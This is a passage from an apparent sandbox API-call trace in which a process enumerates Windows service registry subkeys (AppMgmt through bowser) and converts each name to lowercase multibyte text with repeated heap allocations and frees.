lpUsedDefaultChar=0x0) returned 7 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.757] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.758] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.758] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.758] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.758] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0223.758] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.759] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.759] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.759] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.759] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.759] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.759] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.760] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.760] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.760] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.760] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0223.760] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.761] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.761] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.761] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.761] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.761] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0223.761] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.762] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.762] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.762] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0223.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.762] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | 